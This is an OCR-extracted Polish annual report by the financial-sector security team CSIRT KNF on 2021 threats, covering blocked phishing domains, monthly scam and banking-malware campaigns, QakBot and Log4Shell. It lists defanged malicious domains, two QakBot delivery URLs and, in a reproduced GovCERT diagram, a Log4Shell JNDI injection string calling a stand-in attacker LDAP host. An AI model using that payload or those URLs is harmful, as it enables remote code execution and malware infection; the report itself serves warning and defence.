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CSIRT KNF

GENEZA POWSTANIA

Zespot CSIRT KNF  realizujgcy zadania Sektorowego Zespotu
Cyberbezpieczernstwa, we wspodtpracy z podmiotami krajowego systemu
cyberbezpieczennstwa, a w szczegdélnosci zespotami CSIRT poziomu
krajowego, wspiera Operatoréw Ustug Kluczowych w obstudze
incydentéw powaznych wystepujagcych w tych podmiotach, a takze
prowadzi dziatania majgce na celu analize pozostatych incydentdw,
trenddéw i zagrozen w obszarze cyberbezpieczenstwa.

CELE

Gtéwnym celem dziatan Sektorowego Zespotu Cyberbezpieczenstwa
jest realizacja zadan okreslonych w Art. 44 Ustawy k.s.c. obejmujacych
m.in.:
e przyjmowanie zgtoszen o incydentach powaznych oraz wsparcie
w obstudze tych incydentéw;
e wspieranie OUK w wykonywaniu obowigzkéw okreslonych w Ustawie;
e analizowanie incydentéw powaznych, wyszukiwanie powiagzan
pomiedzy incydentami oraz opracowywanie wnioskdw z obstugi

incydentu;
e wspdtprace z wtasciwym CSIRT MON, CSIRT NASK i CSIRT GOV
w zakresie koordynowania obstugi incydentéw powaznych.




Rok 2021w liczbach

CSIRT KNF
W ROKU 2021 ZGtOSIt DO BLOKADY:

11,468 niebezpiecznych
domen

PODZIAL FALSZYWYCH STRON NA KATEGORIE

3 986 PORTALE OGLOSZENIOWE
[ 4

3 033 UStUGI KURIERSKIE/POCZTOWE
4

2’203 FALSZYWE INWESTYCJE
1,016 BANKI

906
324 FALSZYWE BRAMKI PLATNOSCI



Statystyki

LICZBA ZGLOSZONYCH NIEBEZPIECZNYCH
STRON.
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Media

Na podstawie wiadomosci pochodzacych z publikacji CSIRT KNF
w 2021 roku powstaty 1102 artykuty w portalach branzowych oraz

informacyjnych.

STATYSTKI

OPRACOWAN ARTYKULOW
DOTYCZACYCH W PRASIE TRADYCYJNEJ
CYBERBEZPIECZENSTWA O SKALI OGOLNOPOLSKIEJ
OSTRZEZEN

OPUBLIKOWANYCH
W SOCIAL MEDIA

Gy CSIRTKNE

A\ Uwagal!

ZASI E G Ostrzegamy przed falszywa strona podszywajaca sie pod
@mBankpl.

Przestepcy wykorzystuja do oszustwa specjalne
kodowanie znakow "a" zamiast "a", przez co fatszywa

1 O 8 7 O O O domena tudzaco przypomina prawdziwa.
4 J Badzcie czujni!

REKORDOWA ILOSC 0SOB,
KTORA ZOBACZYLA
OSTRZEZENIE

Klienci indy

12:01 PM - 29 Nov, 2021
17 replies 114 shares 139 likes



https://twitter.com/CSIRT_KNF/status/1465274595330736128
https://twitter.com/CSIRT_KNF/status/1465274595330736128
https://www.knf.gov.pl/dla_rynku/CSIRT_KNF/Aktualnosci?&searchText=&dateFrom=&dateTo=&pageNumber=0
https://twitter.com/CSIRT_KNF
https://twitter.com/CSIRT_KNF
https://twitter.com/CSIRT_KNF

Zagrozeniaw 2021 roku

Omowienie
FINANSOWE CYBERBEZPIECZENSTWO

Wraz ze wzrostem intensywnosci korzystania z ustug internetowych,
zwiekszyta sie aktywnos¢ cyberprzestepcéw. Najpopularniejszym
sposobem ataku jest przestanie linku zawierajgcego fatszywa domene,
ktéra rézni sie od prawdziwej jedna literkg lub stowem. Wprowadzenie
danych na takiej stronie moze spowodowad, ze trafig one do oszustéw,
ktérzy wykorzystajg je do kradziezy naszych $Srodkéw finansowych.
Najwiecej zgtoszonych przez nas domen podszywato sie pod portale
ogtoszeniowe oraz firmy kurierskie, ktére w wiekszosci sg uzywane do
oszustwa ,na kupujgcego”. W ostatnim kwartale ubiegtego roku
zaobserwowaliSmy wzmozong aktywnos¢ wykorzystywania stron
uzywanych do oszustwa na ,fatszywe inwestycje”, ktére postugiwaty sie
wizerunkiem zaufanych podmiotéw. Duzg popularnoscia wsrdéd
przestepcédw cieszg sie rowniez podszycia pod banki oraz bramki
ptatnosci. Inne zgtoszone przez nas domeny wytudzaty dane logowania
do réznych portali internetowych. Przestepcy wykazujg sie duzag
kreatywnosScia, $ledzag globalne trendy oraz kierunki zachowan
uzytkownikéw, wykorzystujac je aby oszustwa byty bardziej wiarygodne.
Ponizej prezentujemy wybrane zagrozenia z kazdego miesigca 2021 roku.



Styczen

PODSZYCIE POD APLIKACJE PROTEGO
SAFE

Fatszywa aplikacja mobilna rzekomo wykrywata COVID-19 za pomoca
nagrania kaszlu. W rzeczywistosci byto to ztosliwe oprogramowanie
BlackRock, ktére po instalacji na urzadzeniu byto w stanie podstawiac
overlay'e (naktadki) np. w aplikacjach bankowych. Dzigeki temu zabiegowi
wszelkie dane wprowadzone na ekranie telefonu trafiaty bezposrednio
do przestepcow.

Wiecej mozecie przeczyta¢ w naszym artykule.

G o =
@ Ostrzegamy przed kolejng proba podszywania sie

pod aplikacje proteGO Safe z wykorzystaniem fatszywej
domeny: hxxps://protego-safe[.]Jme

Zamystem atakujacego jest wykorzystanie sytuacji
epidemiologicznej i instalacja ztosliwego
oprogramowania na telefonie ofiary.

6:50 PM - 17 Jan, 2021



https://www.knf.gov.pl/dla_rynku/CSIRT_KNF/Aktualnosci?articleId=72548&p_id=18

Luty

PODSZYCIE POD APLIKACJE
+~KWARANTANNA DOMOWA"

Strona przypominajgca oficjalny sklep Google Play, na ktorej
umieszczono instalator oprogramowania Anubis. ZtoSliwa aplikacja
korzystajagc z uprawnien zwigzanych =z utatwieniami dostepu na
telefonie, podstawia uzytkownikom fatszywy panel do logowania

w bankowosci internetowe;.

ﬁé%‘fﬁ‘r CSIRT KNF ’

CSIRT_KNF

Ostrzegamy przed fatszywa aplikacja podszywajaca sie

pod "Kwarantanna domowa" od @CyfryzacjalKPRM.

Ww. Aplikacja to ztosliwe oprogramowanie, ktore
wykrada dane do bankowosci internetowej za pomoca
fatszywego panelu logowania do banku.

Niebezpieczny URL:

kwarantannadomowal.Jcom

B

Kavarantanng
Domows

8:59 AM - 5 Feb, 2021




Marzec
FLUBOT

Ztosliwe oprogramowanie FluBot, dystrybuowane za pomoca kampani
SMS. Aplikacja po zainstalowaniu mogta wykras¢ dane bankowe oraz
wykorzysta¢ numery telefonéw z listy kontaktéw, aby nastepnie wystaé
wiadomosé sms ze szkodliwym linkiem do kolejnych oséb. Tresci
zawarte w przesytanych SMS-ach miaty na celu naktonienie uzytkownika
do kliknigcia w ztosliwy link.

Wiecej o Flubocie mozecie przeczytac¢ w naszym artykule.

e CSIRT KNF L
IRT P
CSIRT_KNF
Ostrzegamy przed nowym ztosliwym oprogramowaniem
o nazwie #FluBot. Nazwe zawdziecza btyskawicznemu
rozprzestrzenianiu sie wérod uzytkownikow.

FluBot wykrada numery telefonow z ksigzki adresowej, a
nastepnie rozsyta dalej SMSy atakujac uzytkownikow z
naszej skrzynki kontaktowej.

SIFLUBOt

-
- —
B —
&~
&—
O~
-
-

3:50 PM - 5 Mar, 2021



https://www.knf.gov.pl/dla_rynku/CSIRT_KNF/Aktualnosci?articleId=76193&p_id=18
https://www.knf.gov.pl/dla_rynku/CSIRT_KNF/Aktualnosci?articleId=76193&p_id=18

Kwiecien
FALSZYWE INWESTYCJE

Spreparowane reklamy w mediach spotecznosciowych, oferujace duze
zyski w krétkim czasie. Do uwiarygodnienia wykorzystywany jest
wizerunek znanych osdéb lub zaufanych podmiotdw.

Po kliknigciu w ogtoszenie nastepuje przekierowanie na fatszywa strong,
gdzie widnieje prosba o wypetnienie formularza kontaktowego. Po
wprowadzeniu danych oszusci kontaktujg sie z nami przedstawiajac sie
jako makler lub broker gietdowy. Nastepnie czesto pod presjg szybkiego
dziatania prébujg nas naktoni¢ do zainwestowania pieniedzy, ktére tak
naprawde trafig do przestgpcodw.

G S

8 Ostrzegamy przed strong z fatszywymi inwestycjami,

ktéra podszywa sie pod marke @PKN_ORLEN

Nie dajcie sie skusic¢ obietnicami szybkich i wysakich
zarobkéw bez ryzyka. Nigdy nie podawajcie oszustom
swoich danych na podobnych stronach!

Fatszywa strona:

hxxps://orlinwestpl[.]pw

Y NE PRZEGAPIC AN TR

9:50 AM - 5 Apr, 2021




Maj
PODSZYWANIE SIE POD PORTALE

OFERUJACE WYNAJEM
KROTKOTERMINOWY

Strona podszywajgca sie pod portal oferujgcy wynajem miejsc
noclegowych. Po dokonaniu rezerwacji za jego pomocg, otrzymywano
do zaptaty fatszywa fakture. Podobne oszustwa mogty réwniez kierowac
do fatszywego panelu ptatnosci w celu wytudzenia poswiadczen
bankowych.

wne  CSIRT KMNF
SIRT

CSIRT_KMF

A\ Ostrzegamy przed podszywaniem sie pod portal
@Airbnb!

Oszusci publikuja ogtoszenia wynajmu na podrobionych
wersjach serwisu, gdzie proponuja atrakcyjne ceny.
Ofiara po akceptacji rezerwacji otrzymuje FALSZYWA
fakture celem jej optacenia.

Zawsze zwracaj uwage na adres www!

FALSTYWA FAKTURA
i 1 00 OPLACENIA INVOICE # 2791765042888
Ly L e A T s T e
h —

[y

PR 1
FALSZYWY MAIL | "= mstem—
= REZERWACYJNY | ™" st e ey

9:07 AM - 21 May, 2021




Czerwiec

PODSZYWANIE SIE POD ZWIAZEK
BANKOW POLSKICH

Reklama w mediach spotecznosciowych kierujaca na fatszywa strone
wytudzajgcg dane kontaktowe pod pretekstem fatszywych promociji.
Pozyskane w ten sposob informacje mogty postuzyé¢ do kolejnych
oszustw lub kradziezy tozsamos$ci.

IRT KN d

—~une S
YcsiRT

SIRT_KNF

A\ Uwaga! Ostrzegamy przed faltszywa strona

podszywajaca sie pod Zwiagzek Bankow Polskich. Oszusci
wytudzaja od uzytkownikéw dane kontaktowe pod
pretekstem fatszywej promaogji.

Adres fatszywej strony:

hxxps://zwiazekbankowpolskich[.Jcom

4:57 PM - 21 Jun, 2021




Lipiec
FALSZYWY SMS O ZALEGLOSCIACH
PLATNOSCI

Spreparowane wiadomos$ci SMS z linkiem prowadzagcym do optaty za
prad. W tresci zawarto informacje o koniecznos$ci doptaty za energie
elektryczng, a nieuregulowanie wskazanej kwoty moze spowodowac jej
odtgczenie. Przestany link prowadzi do fatszywej bramki ptatnosci, ktéra
przechwytuje dane kart ptatniczych podczas wykonywania transakcji.

wne  CSIRT KNF
SSIRT  @CSIRT_KNF

4> Uwaga! Oszusci od dhuzszego czasu rozsylaja

fatszywe wiadomosci SMS z wezwaniami do zaptaty
zalegtosci za prad. Przesytany link prowadzi do fatszywej
strony z ptatnosciami.

Nie dajcie sie nabrac i uwazajcie przy ptatnosciach w
Internecie!

€ HAES1 2563900

12:27 PM - 8 Jul, 2021




Sierpien
PODSZYWANIE SIE POD PORTALE
OGLOSZENIOWE ORAZ FIRMY KURIERSKIE

Wykorzystywane gtéwnie do oszustwa ,na kupujacego”. Nawigzywano
kontakt ze sprzedajacym, najczesciej za pomoca aplikacji Whatsapp,
wysytajgc link do rzekomego odbioru ptatnosci. W rzeczywistosci byta
to spreparowana strona, przez ktérg mozna byto szybko stracic
pienigdze.

Wiecej_o tym sposobnie oszustwa mozecie przeczytaé w naszym

artykule.

wne  CSIRT KMNF
SIRT T T
CSIRT_KNF

A\ Uwaga!

Oszusci okradajgcy uzytkownikow OLX grasuja od
niedawna na Facebook Marketplace!

Udaja zainteresowanie kupnem, po czym przenoszg
konwersacje na inny komunikator. Tam informuja o
dokonanej ptatnosci i przesylaja link po "odbior"
srodkéw, aby wytudzi¢ dane do naszej karty.

OSZUSTWO “NA KUPUJACEGO™
NA PLATFORMIE:

0 Facebook Marketplace

2:52 PM - 16 Aug, 2021



https://www.knf.gov.pl/dla_rynku/CSIRT_KNF/Aktualnosci?articleId=73548&p_id=18

Wrzesien

FALSZYWA KAMPANIA SMS
Z INFORMACJA O SKIEROWANIU NA
KWARANTANNE

Wiadomos$¢ zawierajgca link do strony z komunikatem o nieaktualnej
wersji oprogramowania Flash Player. Instalacja oprogramowania oraz
nadanie jej odpowiednich uprawnien prowadzita do zainfekowania
urzgdzenia trojanem bankowym Cerberus. W skutek tego podszywajacy
mogli uzyskac¢ peten dostep do urzadzenia.

ke CSIRT KNF
SIRT = ~CIRT KNF

Oszusci rozsytaja fatszywe SMSy o tresci "Zostales
skierowany do odbycia 10-dniowej kwarantanny".

Przesytany link prowadzi do strony zawierajacej ztosliwe
oprogramowanie, ktére potrafi wykrada¢ hasta do
bankowosci elektronicznej. Nie dajcie sie oszukac! £

pstales skierowany
p odbycia 10-dniowej

kazenia w Twoim
jblizszym otoczeniu.
iecej informacji na stronie
tps://cutt.|

6:54 PM - 23 Sep, 2021




Pazdziernik
WYLUDZENIE NA PIT

Wiadomos$ci SMS z informacjg o zwrocie podatku z rozliczenia PIT-37.
Po wejsciu w link zostaliSmy przekierowani na fatszywa strone, ktéra
wytudza dane uwierzytelniajagce do bankowosci elektroniczne;.

G SRR ki

B Oszusci rozsytaja wiadomosci SMS z informacja o
mozliwosci zwrotu podatku z PIT 37. Przesytany link
prowadzi do fatszywej strony @PocztaPolska, ktora
wykrada hasta do bankowosci. Nie dajcie sie oszukac!

Niebezpieczna strona:

poczt-polskal.]pl

Dziekujemy @ThreatLabsPL za info

prawo do zwrotu pod
37 Pobierz online:

9:50 PM - 30 Sep, 2021




Listopad

PODSZYWANIE SIE POD STRONY
BANKOWE

Specjalnie przygotowane serwisy bankowe, ktére pozornie moga
wygladac jak autentyczne strony Banku. Poprzez specjalne kodowanie
znakéw, wykorzystano litery rozszerzonego alfabetu tacinskiego
powstate przez potgczenie pojedynczej litery z kropka. Nazwy domen
moga tudzgco przypominac te prawdziwe. Ataki maja na celu pozyskanie
poswiadczen uwierzytelniajacych do bankowosci elektroniczne;.

@ ST

A\ Uwagal!

Ostrzegamy przed fatszywa strona podszywajaca sie pod
@mBankpl.

Przestepcy wykorzystujg do oszustwa specjalne

kodowanie znakéw "a" zamiast "a", przez co fatszywa
domena tudzaco przypomina prawdziwa.

Badzcie czujni!

Klienci indy

12:01 PM - 29 Nov, 2021




Grudzien
DOPLATA DO PACZKI

Fatszywe wiadomosci SMS zawierajgce prosbe o doptate do zamoéwionej
paczki. Oszustwa te majg na celu wytudzenie danych lub pieniedzy. Po
kliknieciu w link jesteSmy przekierowani do fatszywego panelu ptatnos$ci.

une  CSIRT KNF
=IRT  ®CSIRT_KNF

A Uwagal!

W zwiazku z okresem przedswiatecznym, przestepcy
nasilaja swoje ataki na portfele internautow.

Oszusci wysytaja fatszywe SMS z prosba o doptacenie do
paczki, podszywajac sie pod @PaczkomatyPL.

Nie dajcie sie oszukad!

Inpost; Prosimy uregulowac
naleznosc;
https:/link.sv/inpost-d0s652

9:24 AM - 1 Dec, 2021




Zagrozenia globalne

QAKBOT

W pierwszej potowie grudnia ostrzegaliSmy przed kampania malware,

w ramach ktoérej rozsytanie szkodliwych wiadomosci odbywato sie przy
uzyciu przejetych serwerédw pocztowych. Charakterystyczng cechg
kampanii byto wykorzystanie przejetych serweréw w kontekscie
techniki reply-chain. Polega ona na rozsytaniu wiadomos$ci z historia
konwersacji w tresci, co sprawia wrazenie, ze jest to kontynuacja
korespondencji. W rezultacie niczego nieSwiadomy odbiorca moze
otrzymac¢ np. wiadomos¢é dystrybuujaca ztosliwe oprogramowanie,
pochodzaca (jak mu sie wydaje) od zaufanego nadawcy. Potencjalnymi
wektorami ataku, umozliwiajgcymi nieautoryzowany dostep do serwera
moga by¢ podatnosci np. ProxyShell, czy ProxyLogon. Sama dystrybucja
ztoSliwego archiwum prowadzgcego do pobrania QakBota moze
odbywac¢ sie na kilka sposoboéw. Ws$réd nich znajdziemy wiadomosé
zawierajgcag ztosliwy link, e-mail z niebezpiecznym zatgcznikiem, jak
rowniez umieszczony w wiadomosci element graficzny wys$Swietlajacy
szkodliwy adres URL.

From: |
Sent: Friday, December 3, 2021 12:39 PM

To: | |
subjed:*

lak ustyszatem, Departament Legislacyjny Spotki zlozyt esej wyjasniajgcy nowe postepowanie. Dokfadnie zbadaj ponizszy dokument:

*|demetria.com.ar/iurenon/eaquia-9619457

**rbl.co.rs/enimvoluptas/estminus-9619457



Zagrozenia globalne

LOG4SHELL

Podatnos$¢ dotyczy popularnej biblioteki Java ,log4|” a jej wykorzystanie
daje mozliwos¢ zdalnego wykonania kodu po stronie serwera.
Podatnos¢ jest aktualnie wykorzystywana przez atakujgcych, ktérzy
aktywnie wyszukujg podatnych elementéw infrastruktury. Biblioteka ta
jest jedna z najczesciej uzywanych bibliotek do logowania zdarzen,
wykorzystywanych przez aplikacje napisane w jezyku Java. Nalezy
doda¢, ze z ww. biblioteki korzysta bardzo wiele komercyjnych aplikacji.

The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a The string is passed to log4dj log4j interpolates the string and
header field that is likely to be logged. for logging queries the malicious LDAP server.
“” gt 7
BET /test HTTP/1.1 HTTP ${jndi:ldap://evil.xa/x} ldap://evil.xafx
Host: wvictim.xa
User-Agent: s${jndi:ldap://evil.xa/x} €) DISABLE JNDI LOOKUPS

€ BLOCK WITH WAF
€ paTCH LOG4)

Attacker Vulnerable Server Vulnerable log4j Malicious LDAP Server
http://victim.xa implementation |dap://evil.xa

3

0o— o— JE o— KA
o= QoisaBLE LOGs e o SRR
| ¢ o
€ DISABLE e
REMOTE J, n
CODEBASES
w L0
public class Malicious implements Serializable | dn:

s javaClasshame: Malicious
"'“":“ It jovaCodebase: http://evil.xa
malicious Jova code> =

I jovaSerializedData: =...=
g
The LDAP server responds with directory
information that contains the malicious
Java class

JAVA deserializes (or downloads) the
malicious Java class and executes it.

& @@ CovCERTch

ZRODLO: GOVCERT.CH



